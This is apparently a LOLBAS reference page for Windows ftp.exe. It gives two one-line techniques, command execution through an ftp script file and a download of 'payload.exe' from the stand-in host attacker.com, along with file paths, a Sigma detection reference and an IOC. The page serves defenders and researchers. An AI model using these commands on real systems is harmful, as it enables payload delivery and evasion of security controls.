Ftp.exe · LOLBAS

01 / TRADECRAFT

Command reference

2 examples

Execute1

EXAMPLE 01T1202

Executes the commands you put inside the text file.

COMMAND

echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

USE CASE: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
PRIVILEGES: User
OPERATING SYSTEM: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Execute · CMD

Download1

EXAMPLE 01T1105

Download

COMMAND

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

USE CASE: Spawn new process using ftp.exe. Ftp.exe downloads the binary.
PRIVILEGES: User
OPERATING SYSTEM: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

02 / ON DISK

Known paths

C:\Windows\System32\ftp.exe

C:\Windows\SysWOW64\ftp.exe

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Sigmaproc_creation_win_lolbin_ftp.ymlgithub.com

Indicators & detection notes

IOC
cmd /c as child process of ftp.exe

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee

BennyHusted

Amit Serper@0xAmit